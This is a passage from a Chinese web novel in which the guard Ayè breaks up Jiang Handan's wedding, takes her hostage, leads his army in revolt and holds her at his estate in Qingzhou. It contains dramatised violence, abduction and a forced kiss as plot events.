刀剑之声越来越明显,姜祯走在姜菡萏身边:“啧啧,这两人终于打上架了……这小子怎么不早点来?在大门口就可以将这姓许的揍得满地找牙,让全京城的人好好看看热闹。只是这姓许的好生阴险,竟然偷偷藏了刀刃!” 姜菡萏有时候真心佩服哥哥的心大,“哥,你觉得阿夜是来为难他们接亲的吗?” “不然呢?他难不成也想接亲?单抢匹马的,凭什么跟许南风争?” 姜祯说着,猛地大叫,“不可!大喜之日不可见血啊!阿夜,随便揍两下就好了,不然真伤了他,他可是新郎倌!” 姜祯的话音才落,姜菡萏身边的女眷发出一片惊呼声。 “啊!” “小姐!” 阿喜和苏妈妈她们同时发出痛呼,松开了姜菡萏。 姜菡萏立刻要去掀盖头,但手还没碰到盖头垂下来的璎珞,一把刀忽然探进盖头内,出现在她的视野中。 刀尖雪亮,上面沾着雨水,也沾着血水。 血水被雨水冲淡,变成一种浅红色,缓缓往下滴。 刀光一点点上挑,盖头慢慢被挑起,姜菡萏的视野一点点变开阔。 她先是看见一双黑靴,然后是衣摆、铠甲、披风、面甲……每一处都在滴水。 她看到一个像是从水里捞出来的阿夜。 他慢慢抬起面甲,露出底下苍白的面容,眸子黑到极点,看不见半点光,在看清她的脸时,他的瞳孔猛然收缩,仿佛要像野兽那样变成竖瞳。 长刀猛地上挑,盖头像一朵离枝的花,飘然落在地上,转瞬被雨水打湿。 “菡萏……真的是你……” 雨水顺着阿夜的脸颊滑下。 刀锋在滴血,他的眼睛仿佛也在滴血。 “原来真的是你要嫁人……” 第69章 第69章猎物 雨下得更大了,斜飘进来的雨丝打湿了姜菡萏的衣摆。 一直堵在姜菡萏胸口的那块石头忽然松动了,她终于明白自己一直担心的是什么。 她担心阿夜会赶来,会发现,会伤心。 现在,担心的一切已经发生,姜菡萏反而如释重负,索性快刀斩乱麻:“对,是我要嫁给他。今天是我的大喜之日,你不许伤人。” 阿夜喉咙里“嗬嗬”作响,眼中仿佛要滴下血来:“可你明明说过,你只会嫁给姓风的皇帝!” 他的刀“刷”地指向许南风,许南风伤了左臂,他的义兄们正在为他包扎,许南风勃然大怒就要冲上来,被义兄们一起按住。 他们来到京城已经快一个月,早就听说过姜家小姐身边有一名玄甲修罗。 玄甲修罗残暴、冷酷、杀人如麻,只听从姜家小姐一人的命令。 人们都说,姜家小姐要他生便生,要他死便死。 绝对的力量,绝对的忠诚——没有一个人不梦想拥有这样的侍卫。 姜家小姐的侍卫,只能交给姜家小姐来处置。 哪怕是姜家的姑爷也不行。 姜菡萏在冷雨中微微叹了一口气,她总不能对着这么多人说许南风其实姓风吧? “阿夜,世间之事,总会例外的。” “为什么?”阿夜咬牙,上前一步,逼近到姜菡萏面前,“为什么是他?!” 他的声音很大,气势很凶狠,高大的身景几乎压倒姜菡萏。 可是喉咙里满是苦涩,胸膛里翻滚着的话没有问出来——为什么不是我?! 他眸子里的痛苦太明显了,明显得让姜菡萏不忍直视,她心中有细密的疼痛,像是有一只小虫子一口一口咬着她的心脏。 “阿夜,你听话。”她别开视线,垂下眼睛,双手紧紧在袖中握成拳,“不要闹了,我以后会慢慢教你这其中的道理……” “我不用你教!” 阿夜大吼,这是他第一次在姜菡萏面前这么大声,太痛了,太苦了,人类的胸膛盛不下这么多痛苦,于是只能从嗓子里吼出来,他抓住姜菡萏的肩头,用力摇晃她,好像要把她摇醒,把她摇回往日那个菡萏。 “你说过的……不会丢下我……你说过的,会一直陪着我……你说人不能言而不信,姜菡萏,你说的话怎么能不算数?!” 姜菡萏头上的金钗给他晃落了,“叮灵”一声掉落在水磨地砖上。阿夜的痛苦仿佛随着雨水淌到了她身上,她的喉咙有些发涩。 “放开她!” 看着姜菡萏露出痛苦的神情,许南风再也无法忍耐,甩开义兄,从花轿下抽出长枪。 他和义兄们在衣袍底下都藏了刀剑,门外也带着镇海军,这一切绝不是为了防备姜祯的为难,而是为了防备阿夜。 他比任何人都知道阿夜的可怕,也知道阿夜对姜菡萏的独占欲。 此刻长枪在手,枪尖在前,人在后,枪与人合为一体,像长龙出水,破开雨幕,刺向阿夜。 阿夜的身体已经过千锤百炼,长刀格挡住长枪,发出“呛”然声响。 “来吧,”许南风咬牙道,“我早就想跟你好好打一场了!” 早在刚到梁州别院时,面对姜菡萏这位近身侍卫,他就有挑战之心。 可是姜菡萏不喜欢他们俩打起来。 阿夜的眼眸与声音俱如寒冰一样冰冷:“好,杀了你,菡萏就不用嫁了。” 许南风:“有本事你就试试!” 长刀与长枪再度交锋,刀光似雪,长枪如龙,阿夜与许南风的身影裹在秋雨中,动作都快到极点,分不清哪个是哪个。 “快、快拦下他们!” 姜祯急得大叫,这会儿他可再不敢把阿夜的挑衅当儿戏了。 可是没有人敢上前。 最后寒鸦低声道:“家主大人,此时无论谁上前,都得承受两人的攻击,非死即伤。而且两人都在气头上,即使属下召集府兵以弓箭威慑,他们也不会在意。” 姜祯也知道他说得有道理,急得跺脚,却又无计可施。 “住手!”姜菡萏大叫,“都给我住手!” 以往每一次两个人行将打起来的时候,阿夜都会被她的一声喝命生生按下。 可是这一次,阿夜不单没有停下,反而猛地暴起,以一种惊人的速度,连人带刀冲向许南风。 他太快了,整个人像是化为了一团刀光,劲风催逼,许南风发丝衣襟悉数倒飞,飞快后退。 可阿夜比他更快,转眼就要追上,刀身经过雨水冲刷,像镜子一样明亮。 许南风第一次在战斗中感觉到“恐惧”二字,浑身发冷,后背已经抵上墙角,退无可退。 就在这个时候,他听见一声尖叫。 “不要!” 穿着大红嫁衣的姜菡萏张开双臂,挡在他的身前,因为跑得太快,华贵的金钗落在雨地里,发丝散乱,呼吸急促,声音破碎,“阿夜,你不能杀他!” 那团骇人的刀光停下了,堪堪停在姜菡萏的面前。 只要阿夜停下再慢一点,刀尖就会划花她的脸,或者削飞她的脑袋。 “姜菡萏!”刀尖在颤抖,阿夜的手在颤抖,声音也在颤抖,他头一次连名带姓地叫她,“我差点就杀了你,你差点没命了!” “我知道。”姜菡萏急剧喘息,冷雨淋得她浑身发抖。 可是她更知道,只有她能让阿夜停下刀,只有她能阻止阿夜,因为阿夜绝对不会伤害她。 她绝不允许未来的中兴之君死在她的面前,更不允许是由阿夜杀死。 她昂起头,直直望进阿夜的眼睛,决绝道,“你要杀他,就先 杀我!” 阿夜摇头,刀尖轻轻晃动:“为什么……菡萏,为什么?” “因为……因为喜欢他!”姜菡萏豁出去了,决定上猛药,下狠招,“所以你不能杀他,你要杀了他,我马上跟着他一起死!” 阿夜仍然在摇头,他摇头的动作很僵硬,仿佛想甩掉什么东西:“你宁愿死,也要救他?” “对。”姜菡萏坚定地道,“阿夜,我告诉你,这个人绝对不死,更不能死在你的刀下,你听话,先把刀放下——” 阿夜还在摇头,眸子漆黑无光,脸色苍白如死,他后退了一步,又一步。 刀尖一点一点远离姜菡萏,姜菡萏却生出一丝难以名状的恐慌,她从来没有见过阿夜现在的模样。 不……她见过的…… 她想起来了,那是她最初在猎场上见到的阿夜,脸白如死,眼黑如墨,没有一丝表情,眼神空洞到极点。 忽地,阿夜仰起头,朝天发出一声长嚎,声音里满是愤懑、悲伤和绝望。 “阿夜……”她下意识向他伸出手,雨水将她的双手打湿,阿夜的脸隔着雨幕,变模糊不清。 下一瞬,她的手被阿夜捉住,像狼捕捉猎物那样精准,姜菡萏还没有反应过来,人就被阿夜抓在了怀中。 “菡萏!” “妹妹!” “小姐!” 惊呼声纷纷响起,许南风离得最近,反应也最快,伸手就要去抓姜菡萏的手。 但是阿夜比他更快,刀锋迅速削向他的手掌。许南风不得不缩回手,就这么一下耽误,阿夜已经扼住姜菡萏的咽喉,同时,刀搁上姜菡萏颈边的肌肤上。 姜菡萏颈部脆弱的肌肤感受到刀锋上的寒意,立即起了一层鸡皮疙瘩。 阿夜的视线停留在上面,忽然舔了一下舌头。 “阿夜,你要杀我吗?”姜菡萏没有多害怕,只觉得难以置信,“我从来没有想过,有朝一日,你的刀口会对准我。” “错了,菡萏。”阿夜低声道,“是你挡在我的刀口前的。” “放开她!”许南风大喝。 “给我马。”阿夜的声音里没有一丝情绪,刀锋划过姜菡萏脖颈,血红的颜色沿着他的手背流下。 “住手!住手!住手!”姜祯撕心裂肺大叫,“给你马,给你马,还要什么?!” 阿夜:“所有人,让开。” “让开,听到没有?让开!”看见妹妹流血,姜祯已经快疯了。 马牵来了,阿夜带着姜菡萏翻身上马,他甚至还向姜祯微微颔首施礼,动作优雅至极:“家主大人,多谢。” 马蹄踏开,雨水飞溅,迅速离开菡萏院。 “追!” 许南风恶狠狠下令。 苏妈妈软软地倒在地上,哭着捶地:“畜生啊,我就说他是个畜生啊!连小姐都敢伤!小姐当初就不该救他回来!!” * 已经入夜,宵禁开始,街上没有一个行人。 飞奔的马匹惊动巡逻的羽林卫,他们准备喝命阻拦,却在看清马背上的人影时呆住了。 京城所有男人都参加过那场大战,谁没有在战场上看见过玄甲修罗? 那袭漆黑的身影是战场所有人的保护神,只要有他出现,他们就能有喘息之机。 几乎是下意识地,他们飞快让开了道路。 马匹迅速驰过,羽林卫们才发现迎着雨,马背上好像还坐着一个人。 但是太快了,人又被紧紧裹在披风里,看不清脸,只看见玄甲修罗的手好像一直掐着那人的脖子。 从长街越过数不清的房舍,一直到奔向城门口,阿夜都没有松手。 姜菡萏努力想挣扎,可是他掐着的力道控制得太好了——轻一分她就能开口说话,重一分她将无法呼吸。 这是拧断多少根脖子才有的经验。 她的脖子完好无损,割出伤口的是他的手,姜菡萏万万没想到她单纯善良纯洁可爱的阿夜竟然学会了使诈! 身后隐隐传来马蹄声,一定是哥哥和许南风追上来了。 可是她对守城的兵士们毫无信心。城门在大战的头一天就被炸开,阿夜在他们心中就是京城真正的城门,是阿夜一次又一次挡住叛军的攻城。 果然,阿夜只用一句“紧急公务”就叫开了城门。 刚刚修缮好的城门仿佛也认得这位恩人,开得又轻巧又迅速。 刚刚打完仗你们怎么就这么松懈了?天黑敢随便开城门?不要被他骗了啊—— 姜菡萏在心里大叫。 可惜,嗓子一声也发不出。 心中恼极,很想低头去咬他一口,又咬不着。 马匹飞快出了城门,厚重的城门在身后关上。 城外无人,阿夜终于松开了手。 姜菡萏被掐了一路的脖子终于重获自由,正要把他痛骂一顿,刚刚仰起脸,阿夜忽然低头,一口咬在她的脖颈上。 不是玩笑,不是逗弄,是真的咬,生疼,姜菡萏怀疑被他咬出血了。 “阿夜,疼!” 可是阿夜不理,头深深埋在她的颈间,在她挡在他刀前的那一刻,他就由人变回了狼。 这是他的猎物,而他已经饿了这样久。 他要……吃了她! 第70章 第70章她们若是不行,那只有我…… 雨水冲淡了姜菡萏身上的脂粉气味,属于她本身的玫瑰甜香从肌肤深处渗出来,阿夜贪婪地舔吮、舐咬。 阿夜的鼻腔充斥着她的气息,他的喉结滚动,牙齿发痒,像野兽闻到血腥般无法自控。 雨水是冷的,风是冷的,姜菡萏全身都是冷的,只有阿夜的唇齿和舌头是热的,姜菡萏觉得他好像要把自己一口吞下去。 “阿夜……”她吃力地抓住他的手,声音发颤,“停下……” 阿夜恍若未闻,唇齿去往的地方更深。 另一种同样原始的欲望替代了捕猎的食欲,同样汹涌澎湃,同样永不满足。 他的手那么大,一只手就捉住了姜菡萏的两只手,姜菡萏被他禁锢在怀里动弹不得。 又那么用力,手指仿佛要捏碎她的腕骨,但感觉到她的颤抖后,他的手稍稍放松,但她略一挣扎,他马上又掐得死死的,不容她有分毫的逃脱。 就在这个时候,阿夜的动作猛地顿住,抬起眼睛,望向前方雨幕,右手松开姜菡萏的手,握紧了刀柄,放松了缰绳。 马匹慢下来,雨幕中渐渐有十几道人影走近,他们此时才发现阿夜,大声喝问:“什么人?!” 那是几名巡逻的兵士,有镇海军,也有玄甲军。 他们本该在西山围剿风曜,会出现在这里的唯一原因,就是风曜已经被杀,他们班师回朝,因天晚未得入城谕令,所以暂时驻扎在城外。 “阿夜,你杀了风曜?”姜菡萏问。 阿夜听不见,阿夜只盯着眼前的兵士。掠食中的野兽看不得任何野兽出现,丛林之中唯有掠夺者才能活下去。 刀光切断雨幕,姜菡萏大惊,一把抱住他的手臂。 刀锋因此受阻,将将停在最前面那名兵士脖颈前,兵士魂飞魄散,兵器脱手,跪倒在马首前:“统领,是我啊!” 那是一名玄甲军。 姜菡萏一直被困在阿夜怀中,一直看不到阿夜的脸,她在此时终于发觉阿夜的不对劲,回头就看见阿夜眼底一片血红。 他不分敌我,挡路者皆可杀! “啪!”一记响亮的耳光甩在阿夜脸上。 阿夜怔了一下,姜菡萏用力又甩了一记。 阿夜的眸子转动一下,慢慢低头,看着姜菡萏。 她的发髻早已散了,钗环也已掉落,一头长发浸了雨水,黑得像世上最柔软的缎子。 她的脸色很苍白,嘴唇也在发青,整个人也在哆嗦,不知道是因为冷,还是因为生气。 “阿夜!”这两记耳光姜菡萏用尽了全力,掌心火辣辣地疼,可是更疼的是胸口,“不许滥杀无辜!” 阿夜手里的刀锋缓缓垂下,理智终于开始回笼。 而就在此时,身后再度传来马蹄声——姜祯叫开了 城门,带着府兵和镇海军追过来。 阿夜一夹马肚,冲向前方营帐:“集结!” 巡逻的玄甲军立刻拿起长哨吹响,尖锐的哨声穿透雨幕。 * 镇海军和玄甲军虽是共同作战,但营帐壁垒分明,即便巡逻也是双方共同派出人手,彼此监督。 玄甲军统帅杀了镇海军副将,此事人人有目共睹,只待明天城门一开,朝廷接见,镇海军便要去讨还这个公道。 这个雨夜没有人能安睡,所有人皆是枕戈待旦,哨声传来的同一时间,玄甲军和镇海军同时冲出营帐。 马匹冲破雨幕,长嘶人立而起,马背上传出玄甲军统领的命令:“我与姜家决裂,正受姜家家主追击。有愿意追随我的,拿起你们的兵器随我迎战,有愿意回归姜家的,也同样拿起兵器,从此刻起便是我的敌人!” 每一名玄甲军都熟悉阿夜的指令,他是统帅,是头狼,是在险境恶战中一次又一次将他们带出地狱的人。 可是没有哪一次,他们见过阿夜这般模样——他看上去像是随时会撕碎所有人的喉咙,杀气滔天,如同冥王降世。 兵士们僵在原地,连呼吸都停顿了片刻,然后开始动作。 姜菡萏脑子里一团乱。到底是从哪一步开始错的?为什么竟一步步演变到如此境地? “阿夜,你清醒一点,你只是一时昏了头!快放我回去,我就当今晚的一切都没有发生过——” “放你回去,让你跟许南风成亲?”阿夜低哑一笑,眸子漆黑,一片冷意,“不,绝不。” 姜菡萏又气又急又恨又恼,好想再甩他两个耳光。以前那个事事乖顺事事听话的阿夜呢?被他藏到哪里去了?! 玄甲军中很快分出了阵营。 景、庆两州赶来驰援的玄甲军本有两千八百人,围战至今日,折损三百人,还剩两千五百人。 其中近两千人拿起兵器站在了阿夜身边。 只有几百人站在原地没动,却接连放下了兵器。他们不愿反叛姜家,也不愿与阿夜为敌。 郭俊走到马首前,将手中佩刀高举过头顶,然后放在地下。 他重重地向姜菡萏磕了一个头。 姜菡萏声音发紧:“郭俊,你也要背叛姜家吗?” 郭俊抬头,泥水沾上他的脸颊,却挡不住他神情中的坚毅:“统领在庆州救过属下一次,在景州救过属下两次。属下欠统领三条命,不能不还。” 他说完,走到了阿夜身后。 两千玄甲军刀剑出鞘,雪亮刀尖对着雨幕中即将冲出的姜家府兵。 城内的姜家府兵和镇海军加起来也不过两三百人,用来对付阿夜一个人足够,撞上两千名玄甲军精锐却是找死。 而从西山撤下来的这支镇海军一旦加入战团,刚刚经历过兵燹的大央马上要迎来新一轮的内乱。 姜菡萏呆呆地看着眼前这一幕,张贺去南疆之前说的那番话,穿过数年光阴,重新响在她的耳畔: ——这样的人,越是强大,便越是危险。军队如同兽群,兵士们会无条件追随强者,他太强,一旦背叛,可能整支队伍都会跟他走。 而她当时说的是什么? ——阿夜永远也不会背叛我。 她那时何其笃定,何其自信! “阿夜,”姜菡萏无法控制身体的颤抖,声音破碎,“如果你敢伤我哥哥,或是许南风……或是姜家任何一个人,我马上就死。” 她回头看着他,盯着他的眼睛,心里像是被刀绞一样难受,“你不要……让我后悔当初救了你……” 明明她的脸上满是雨水,可阿夜还是清晰地看出她眼角划出来的泪痕。 他的手轻轻抚上她的面颊,她的面颊冰冷,那滴泪痕滚烫,好像能烧灼他的手心。 “别哭,”阿夜的声音沙哑,“只要你跟我走,我绝不伤他们任何一个人。” “我跟你走。”姜菡萏哽咽,“我跟你走。” 她哭得更凶了。 阿夜将她裹进披风里,紧紧将她抱在怀中。 对不起,菡萏。 原谅我,菡萏。 或者,尽情恨我吧……只要你能跟我走…… * 马蹄踏翻雨水,玄甲军追随着统领的背影,消失在雨幕中。 姜祯和许南风迎着雨出现,只看见跪在雨中的几百玄甲军。 弄清楚发生了什么之后,姜祯大怒:“不把那小子碎尸万段,我就不姓姜!” 许南风的眼睛也充了血:“镇海军众将士,随我追击,踏平庆州!” 两个人都杀红了眼,镇海军另一名中年副将较为持重,劝说二人不要以卵击石,不如等到天明,请旨发兵,一则名正言顺,二则也有足够的实力与之抗衡。 “此人是天生的统帅,在战场上所向披靡,若不能为朝廷所用,则早晚成朝廷心腹大患。”副将道,“他既然如此恩将仇报,只要太皇太后与陛下下令,我等愿与他决一死战!” * 庆州城门在漆黑的夜晚洞开,迎接它真正的主宰。 阿夜一路换了好几匹马,以最快的速度赶回澹园,马匹长躯直入,一直跑进小楼前。阿夜翻身下马:“备热水!备姜汤!” 一面说,一面快步上楼。 他在路上脱了铠甲,用体温暖着姜菡萏。可姜菡萏的身体还是凉得让他心惊。他把她从怀里放下,就像放下一只易碎的瓷器,姜菡萏闭着眼睛,一动不动。 “菡萏……”阿夜声音压得极低,有明显的颤抖,“你不能有事……我没有杀他们,一个都没有……” “……”姜菡萏不睁眼。 热水很快注满浴斛,侍女们上前侍候,但一时不知如何下手——澹园的主人半跪在床前,紧紧握着床上人的手,还拿被子将人家裹得紧紧的。 “统领……”为首的侍女试着开口,“这位小姐身上的衣裳还是湿的,须得脱了泡一泡,才能驱寒。” 这声音模糊地响在阿夜耳边,像是隔着水面传来,阿夜好一会儿才起身离开,关上房门,坐在门口。 菡萏洗澡的时候,他是不能靠近的……那是侍女们的差事。 他得在外面等着。 侍女们在里面开始是轻言细语,后来的动静却越来越大,最后阿夜听到一声“哎哟”,是姜菡萏发出的声音。 房门“砰”地一声打开,阿夜大步走进来,就见姜菡萏连人带被子滚落在床边脚踏上。 阿夜疾忙将那卷得严密的被筒带着人一把抱起,厉声喝道:“你们干什么?!” 他的神情与声音皆冰冷到极点,杀意毫不掩饰。 侍女们“扑通”跪下,浑身颤抖,面无人色:“小、小姐不肯宽衣……奴婢们实在没办法……” 阿夜低头看着怀里的姜菡萏。 姜菡萏还是不睁眼,但两只手紧紧抓着被角。 也许是因为一番折腾,她的脸色略微有了一点血色,不像方才那样惨白。 “菡萏,你得脱了湿衣裳,不然会着凉生病。” 姜菡萏扭过脸,不理,嘴角抿得紧紧的。 “她们若是不行,那只有我来了。” 阿夜声音低沉了一点,莫名多了一丝柔和,姜菡萏怀疑他笑了,于是将被角抓得更紧。 可是她的力气在他面前可以忽略不计,阿夜轻而易举掀开了被子,像剥一颗嫩笋那样把姜菡萏从被子里剥了出来。 “!!!” 姜菡萏睁开眼睛,怒视 着他。 “出去。”阿夜看着她的眼睛,眸子深深,低声道。 姜菡萏抬脚便要走,出去便出去,她巴不得! 只迈了一步,她便被阿夜扯住手臂,身体不由自主被掀回床上,还未等她挣扎起身,阿夜已经俯下身,单手将她的双手扣在头顶。 侍女则鱼贯而出,房门“吱呀”一声关上,室内只剩他们两个人,静得可以听见彼此的心跳与呼吸。 空气中弥漫着熟悉的月下徊香气,花瓣被热水浸泡,香得格外浓郁,浸染每一寸空间。【你现在阅读的是 】 70-80 第71章 第71章从现在起,我是叛军了 一颗水珠从阿夜发梢上落下,滴在姜菡萏颈项间,冰得姜菡萏瑟缩了一下。 她正要挣扎,阿夜的另一只手忽然抓住她腰间的系带。 姜菡萏:“!” 那丝质的腰带根本挡不住阿夜的力量,上面所绣的珍珠与宝石崩断,散落一地。 “阿夜!”姜菡萏尖声喊,“不要,不要!” “不能不要。”阿夜声音很低沉,“你必须得泡一泡澡,不然定然会得风寒。” “……”姜菡萏顿住,刚刚吓出来的眼泪缓缓地从眼角滑落。 阿夜皱眉。他见不得菡萏流泪。 他迟疑一下:“衣裳可以不脱,但鞋子总不能不脱。” 姜菡萏:“我……我自己脱。” 但这次阿夜没有听,他松开她的手,直接俯下身去,托起她的鞋子。 大红喜鞋亦是缎子所制,金线遍绣,鞋尖弯弯似凤回头,凤嘴里衔着一颗大东珠。 袜子乃白绢缝制,湿透了之后半透明,脚背的形状若隐若现。 阿夜的呼吸有几分粗重,忽然将她的双脚捧在了手心。 姜菡萏一惊,只感觉到他的掌心滚烫,她双脚冰冷的双脚像是要被暖化了。 他抬起头,仰起脸,脸上的神情半是痛苦,半是快乐。 “菡萏,你的脚很冷。” 姜菡萏咬着唇。挣扎,根本挣不脱,踢他,根本踢不动。她的脸颊慢慢红透了,一半是气的,一半是……不,她用力瞪他:“要不是你,我能这么冷吗?” 阿夜没有闪开视线,保持着仰望的姿势:“我想给你暖脚很久了……很久很久了……菡萏,我以后都给你暖好不好?” “哼,阿夜大统领这是问我吗?”姜菡萏冷冷道,“我能说不吗?” 阿夜目光闪动了一下,露出一个近乎被刺伤的表情,起身抱起姜菡萏,走进屏风内。 浴斛里的热水加了牛乳和花瓣,无论温度还是香气都和姜菡萏平日惯用的一模一样,她整个人浸泡在热水中,一瞬间有重新回家了的错觉。 “你能的。” 她听到阿夜开口道,声音很低沉,很无奈。 姜菡萏的视线看向他:“是吗?那我让你现在就放了我,让我回京。” 阿夜看着她,一字一字道:“可是菡萏,我不会再听了。” “你——”姜菡萏气急败坏,却又发现自己完全拿他没奈何。她后知后觉地发现,她以前之所以能让阿夜俯首贴耳,只是因为阿夜愿意对她俯首贴耳。 现在阿夜不愿意了,她便无计可施。 因为他早已不是那个任人宰割的狼人少年,他拥有强大的兵力和威望,足以威胁到任何人。 阿夜的神情很紧绷,但动作很轻柔。把她放进浴斛之后一手轻轻托在她的后颈没有离开。 这些侍女所受的教导远远比不上阿福阿喜她们,竟然没有预先叠上柔软的布巾。 他把将自己的手充当布巾,以免浴斛的边缘硌着她柔软的脖颈。 然后他就看到她的脖颈上有一片瘀青。 她的皮肤远比常人白,这片瘀青出现在上面,也远比常人显眼。 他的拇指轻轻抚过那里,有点青紫的颜色,绽放在她的颈间像一大片花瓣,隐约可以看见一点牙印的痕迹。 这是他咬的。 这是他留下的痕迹。 她的身上……有他留下来的痕迹。 这个念头让他的身体变得滚烫。 姜菡萏明显感觉到他的掌心比浴斛中的热水还要烫人,视线也开始变得炽热。 她板起脸:“我已经在泡澡了,你可以出去了。” 她说这话的时候没有看向阿夜,因为怕自己的视线会颤抖,阿夜的存在感太强,离她也太近,他的气息笼罩着她,让她有点难以呼吸。 “你不要她们,所以我来。” 他的声音沙哑得惊人,大红的嫁衣在水下铺陈如巨大的蝶翼,水面上的玫瑰花瓣比嫁衣还红,热水让姜菡萏的脸颊重新染上血色,肌肤上像是有胭脂化开,雪白中透着一抹轻粉。 像顶心染上红晕的蜜桃,一口咬下去,是无法想象的甜美与多汁。 他的喉咙干渴,身体也干渴。 “我现在要了。”姜菡萏不用看他的脸,也感觉到他灼热的视线,仿佛要把她的脸烫出两个窟窿,她努力冷着脸道,“你出去,换她们进来。” 阿夜舔了舔唇,用力咽了一口口水,终于还是起身。 离开前,将一块柔软的布巾垫在姜菡萏的颈后。 姜菡萏心里微微松了一口气,只是还未松完,转即又提起来——他并没有离开房间,而是在守在屏风外。 侍女们进来服侍,要为她解下衣裳。 姜菡萏看着屏风上映出的高大身影,没敢再抗拒。 她清楚地知道他的耳力有多灵敏,每一件衣裳离开她的身体,滴着水落在地上,他应该都听得到。 这感觉让她觉得很害羞,也很恼火,羞恼最终变成屈辱。 刚才那个瞬间,她觉得阿夜要扑进来把她一口吃了,吃得渣都不剩! 为什么,为什么会走到这一步? 她重生之后努力改变命运,终于能掌控自己的人生,怎么会……怎么会落入这样的境地?! 而且,让她落进这步田地的人,竟然是她一手调\教出来的阿夜! 简直是耻辱! 她越想越气,越想越恨。 门外传来响动,下人送了姜汤进来。 侍女很快端进来。 姜汤熬得很浓,端近便闻进一股冲鼻的辣味,姜菡萏一言不发,掀翻了汤碗。 “再盛。”阿夜的声音从屏风后传来,冰冷低沉,听不出什么情绪。 第二碗姜汤很快送到姜菡萏面前。 她再次抬手,打翻。 如果苏妈妈在这里,一定会告诫阿夜千万不要跟姜菡萏犟。因为姜菡萏平时看着淡淡的对什么都不在乎,但脾气上来了就是个九头牛都拉不回来的犟种。 第三碗姜汤送进来,这一次,阿夜接过了姜汤,走进屏风内。 姜菡萏下意识看了看水面……还好,玫瑰花瓣足够多,盖得够密实。 然后才发现已经失了气势,于是抬起头,冷冷迎上阿夜的视线:“你的翅膀硬了,不再听我的话,好,可若是你以为你能让我听你的,那我劝你少做梦!阿夜,有本事你就杀了我,否则我绝不会任你摆布——你、你干什么!呜!” 阿夜没有说话,只是含了一口参汤,然后伸手托起姜菡萏的下巴,俯下身。 姜菡萏还想逃,他的手扣住了她,唇覆下来,舌头撬开了姜菡萏紧闭的牙关,热辣辣的参汤度进姜菡萏嘴里。 姜菡萏被迫咽下参汤,这一切却还没有结束,随之而来的是一个浩荡的深吻。阿夜的唇舌不肯放过每一丝每一寸,要将她嚼碎揉烂榨成汁吞吃入腹。 姜汤进到胃里,热意一阵阵涌向全身,浴斛里的热汽也一阵阵往上涌上来,然而这两者的热都比不上阿夜的热……姜菡萏觉得自己好像来到三伏天,像要一块蜡那样被热化了。 她恍惚间想起,那年阿夜从斗兽场逃回山洞,她去寻他,他刚见到她就亲了她。 虽然当时羞得不行,但她其实没有太把那个亲吻当一回事……阿夜在她心中永远纯稚如初见之时。他像小兽一样干净单纯,没有邪念,亲亲对他来说,就跟兽类给同伴舔毛一个意思吧? 此时此刻,她才发现她好像错了。 错得很离谱……错了很多年…… 姜菡萏肺脏间的空气全被榨干,眼前一片发白,在她透不过气之前,阿夜终于松开她。 水汽氤氲,香味四溢。姜菡萏的眼睛瞪得滚圆,眸子黑亮如葡萄,双唇鲜红如樱桃。 两人都在剧烈喘息,但阿夜没有停,他端起碗,又含了一口姜汤。 “!!!!”姜菡萏一把夺过汤,双手捧住,咕咚咕咚喝了个干净。 阿夜深深喘息,眸中亮着一团火焰,胸膛剧烈起伏,湿衣贴身勾勒出他的身形,半跪在浴斛边的阿夜如一只蓄势待发的黑豹,扶在浴斛边缘的手背上青筋毕露。 “满意了吗?大统领?”姜菡萏呼吸急促,用力扔了碗,碎裂的声响打破屋内的寂静,也让阿夜惊醒过来,姜菡萏的声音冰冷,“你已经把我抢来了,何不干脆进来和我共浴?我力气不如你,身边也没有任何帮手,你可以把我当成最卑贱的女奴,来啊!你不是想要我吗?那就拿去!” 阿夜眼中的火焰一点一点熄灭,手上的力道一点一点消失,脸色慢慢变得苍白,他慢慢站起身,低声道:“我没有……我没有打算那样对你……” “你毁了我的婚事,坏了我的名气,现在还把我变成了你的禁脔……阿夜,我到底有哪一点对不 起你,你要这样对我?!”姜菡萏的声音颤抖,泪水流下来。 阿夜跪下。 有侍女忍不住惊呼出声。地上全是碎瓷片,血迹很快便从阿夜膝下渗出来。 “菡萏,是我不好,你怪我吧,骂我吧,”阿夜面色苍白,但眼神坚定强硬得近乎疯狂,“我不会放你走,除非我死!” 姜菡萏手边实在没有东西,只能抓起一把玫瑰花瓣,向他兜头砸过去:“你给我滚出去!” 花瓣如一场血雨,洒在阿夜头上、身上。 在战场上身受枪林箭雨也未皱过一丝眉头的阿夜,如受重创,起身时身体甚至晃了晃。 他离开了。 这一次,屏风上空空荡荡,没有留下任何影子。 姜菡萏靠在浴斛中,筋疲力尽。 侍女服侍她出浴。 她上一次来的时候,澹园只有厨娘是女的,这些侍女明显是后面来的,却像是经过了精心的教导,细致周到,并且十分了解她的喜好,出浴之后开始为她抹上香膏。 香膏的气味钻进她的鼻子,也是玫瑰香……虽不如月下徊…… 她自嘲地笑了笑,都这样了,还管什么香膏? “不用了。”她吩咐。 下人送了热腾腾的清粥小菜来。 侍女们提心吊胆,生怕她不肯吃。 但姜菡萏痛快地拿起了筷子——吃饱了才能想法子跑路。 * 小楼外,雨仍然在下,夜色中,阿夜一身黑衣仿佛已经与黑暗融为一体。 两名侍女出来,一人端着托盘,一人打着伞。 两人向他行礼,将托盘呈到他面前。 菜没动多少,但吃了半碗粥,还吃了两块茯苓糕。这是她正常的饭量。 看他面色较为平和,侍女道:“小姐说她不喜欢屋子里留人,今夜奴婢在楼上门外守夜。” 八名侍女中,这名侍女年纪最长,相貌身量都与阿福相似,是阿夜特意挑选的,让她做大丫环,管着小楼的一切。 侍女自觉统领待她与旁人不同,统领又正值心绪不佳,正是需要温柔体贴的时候。 便乍着胆子,柔声道:“统领大人,您也该去换下这身湿衣了,便是铁打的身子——” 她的眼睛猛地睁大,一个字也说不下去——阿夜的手扼住了她的咽喉,雨夜里阿夜的脸上没有一丝表情:“玫瑰香膏是怎么回事?” “统、统领恕罪,林小姐想学着调出月下徊的香膏,所以将那一盒借去……” “你借的?” “奴、奴婢想着,小楼一直空着,东西白放坏——” 她的话只到这里了。 撑伞的侍女只见她脖颈一歪,阿夜松手,她便软软地倒进雨水中,手里的托盘却是安然无恙,被阿夜接在了手里,没有发出一丝声响。 “看到了吗?”阿夜低声问。 撑伞侍女全身发抖,她看到了,要被灭口吗? “不单是小楼的一切,整个澹园,不,整个庆州……所有我拥有的一切,都属于楼中的小姐。” 阿夜仰望着雨中的小楼,“她的东西,擅动者死。” 侍女扔了伞,俯身跪地:“是。” “去吧,她眠浅,别吵着她。” * 庆州府衙灯火通明。 玄甲修罗守护京城,追击叛军,若是败,必会血战到底;若是胜,则会受赏凯旋。 